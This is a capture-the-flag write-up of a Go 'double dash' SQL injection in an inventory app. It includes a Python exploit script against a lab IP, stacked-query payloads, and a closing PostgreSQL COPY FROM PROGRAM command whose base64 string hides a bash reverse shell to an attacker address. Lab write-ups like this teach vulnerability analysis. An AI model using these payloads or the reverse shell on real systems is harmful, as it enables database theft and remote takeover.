Web Exploitation

Challenge
Topic

Go, SQL Injection, Double Dash

Mechacore Inventory

Description

Solution

Given source code, following is main.go

//go:build ignore

package main

import (
    "fmt"
    "time"
    "log"
    "strconv"
    "net/http"
    "html/template"
    "github.com/go-pg/pg/v10"
    "github.com/go-pg/pg/v10/orm"
)

type User struct {
    Id     int64
    Name   string
    Email  string
    isAdmin bool
}

func (u User) String() string {
    return fmt.Sprintf("User<%d %s %v %d>", u.Id, u.Name, u.Email, u.isAdmin)
}

type Item struct {
    Id       int64
    Name     string
    Type     string
    Status     string
    CreationTimestamp    int64
    Quantity  int64
    OwnerId  int64
    Owner    *User `pg:"rel:has-one"`
}

func renderTemplate(w http.ResponseWriter, name string, data interface{}) {
	t, err := template.ParseGlob("templates/*.html")
	if err != nil {
		http.Error(w, fmt.Sprintf("Error %s", err.Error()), 500)
		return
	}

	err = t.ExecuteTemplate(w, name, data)
	if err != nil {
		http.Error(w, fmt.Sprintf("Error %s", err.Error()), 500)
		return
	}
}

func dbGetItems( lastnseconds int , name string) []Item {
    db := pg.Connect(&pg.Options{
        User: "postgres",
        Password: "postgres",
    })
    defer db.Close()

    var items []Item
    var err error
    fmt.Print(lastnseconds)
    fmt.Print(name)
    if name=="" && lastnseconds==0 {
        err = db.Model(&items).Select()
    } else {
        err = db.Model(&items).
            Where("item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)-? or item.name=?", lastnseconds , name).
	    Select()
    }
    if err != nil {
        panic(err)
    }

    return items
}

// createSchema creates database schema for User and Story models.
func createSchema() error {
    db := pg.Connect(&pg.Options{
        User: "postgres",
        Password: "postgres",
    })
    defer db.Close()

    var err error

    models := []interface{}{
        (*User)(nil),
        (*Item)(nil),
    }

    for _, model := range models {
        err = db.Model(model).DropTable(&orm.DropTableOptions{
		IfExists: true,
		Cascade:  true,
	})
        err = db.Model(model).CreateTable(&orm.CreateTableOptions{
            Temp: false,
        })
        if err != nil {
            return err
        }
    }
    
    user1 := &User{
        Name:   "admin",
        Email:  "admin1@admin",
    }
    _, err = db.Model(user1).Insert()
    if err != nil {
        panic(err)
    }

    item1 := &Item{
        Name:    "UD-123-412",
        Type:    "Sensor",
        Status:    "Finished",
        CreationTimestamp:    time.Now().Unix() - 3600*2,
        Quantity:    12,
        OwnerId: user1.Id,
    }
    item2 := &Item{
        Name:    "UD-123-555",
        Type:    "Arm",
        Status:    "Creating",
        CreationTimestamp:    time.Now().Unix() - 3600*5,
        Quantity:    5,
        OwnerId: user1.Id,
    }
    _, err = db.Model(item1).Insert()
    _, err = db.Model(item2).Insert()
    if err != nil {
        panic(err)
    }
    return nil
}


func handler(w http.ResponseWriter, r *http.Request) {
    name := r.FormValue("name")
    lastnseconds := r.FormValue("lastnseconds")
    lastnsecondsi, _ := strconv.Atoi(lastnseconds)
    items := dbGetItems(lastnsecondsi, name)

    renderTemplate(w, "inventory.html", struct {
        Items []Item
    }{
        Items: items,
    })
}

func main() {
    err := createSchema()
    if err != nil {
        panic(err)
    }

    http.HandleFunc("/", handler)
    log.Fatal(http.ListenAndServe(":8000", nil))
}

The highlighted line is where the vulnerability lies. Previously there is a research about this kind of vulnerability https://www.sonarsource.com/blog/double-dash-double-trouble-a-subtle-sql-injection-flaw/.

So if we can input negative value and it directly passed to the query that has "-" right before the negative value then it can be trigger a comment for the rest query. In this case, there is an application that receive last n seconds value that can be negative and it was substracted with the current timestamp. If we input negative value then the query will be like below

item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)--? or item.name=?

But the problem is we don't know the exact query passed to the SQL engine, we need to know it to reconstruct the SQL Injection payload. To overcame this, we can use the modified code below

//go:build ignore

package main

import (
    "fmt"
    "strconv"
    "github.com/go-pg/pg/v10"
    "log"
    "context"
)

type User struct {
    Id     int64
    Name   string
    Email  string
    isAdmin bool
}

type Item struct {
    Id       int64
    Name     string
    Type     string
    Status     string
    CreationTimestamp    int64
    Quantity  int64
    OwnerId  int64
    Owner    *User `pg:"rel:has-one"`
}

type QueryLogger struct{}

func (ql *QueryLogger) BeforeQuery(c context.Context, q *pg.QueryEvent) (context.Context, error) {
    return c, nil
}

func (ql *QueryLogger) AfterQuery(c context.Context, q *pg.QueryEvent) error {
    query, err := q.FormattedQuery()
    if err != nil {
        log.Printf("Failed to format query: %v", err)
        return nil
    }
    
    log.Printf("Executed query: \n%s\n", query)
    
    return nil
}


func dbGetItems( lastnseconds int , name string) []Item {
    db := pg.Connect(&pg.Options{
        User: "postgres",
        Password: "postgres",
    })
    defer db.Close()

    var items []Item
    var err error
    // fmt.Print(lastnseconds)
    // fmt.Print(name)
    db.AddQueryHook(&QueryLogger{})

    if name=="" && lastnseconds==0 {
        err = db.Model(&items).Select()
    } else {
        err = db.Model(&items).
            Where("item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)-? or item.name=?", lastnseconds , name).
        Select()
    }
    if err != nil {
        panic(err)
    }

    return items
}

func main() {
    var lastnseconds = "1"
    var name = "foo"
    lastnsecondsi, _ := strconv.Atoi(lastnseconds)
    items := dbGetItems(lastnsecondsi, name)
    fmt.Println(items)
}

By knowing the full query now we can create our SQL Injection payload

SELECT "item"."id", "item"."name", "item"."type", "item"."status", "item"."creation_timestamp", "item"."quantity", "item"."owner_id" FROM "items" AS "item" WHERE (item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)--1 or item.name='foo
);select * from users;--')

So we need to close the bracket first then put the injection query.

var lastnseconds = "-1"
var name = "foo\n);select * from users;--"

Now we can confirm that it works, next just do scripting to send the payload to the server.

import requests
import urllib.parse

def urlencode(data):
    return urllib.parse.quote(data)

query = "SELECT 1,2,table_name,4,5,6 from information_schema.tables"
exploit = f"foo\n);{query};--"
burp0_url = f"http://10.10.48.212:80/?name={urlencode(exploit)}&lastnseconds=-1"
burp0_headers = {"Accept-Language": "en-US,en;q=0.9", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://10.10.48.212/", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
resp = requests.get(burp0_url, headers=burp0_headers)
print(resp.text)

next we can trigger RCE using COPY FROM query with $$ as the substitution for '

COPY shell FROM PROGRAM $$echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuOC44MC4xNS80NDQ0IDA+JjE= | base64 -d | bash$$

Last updated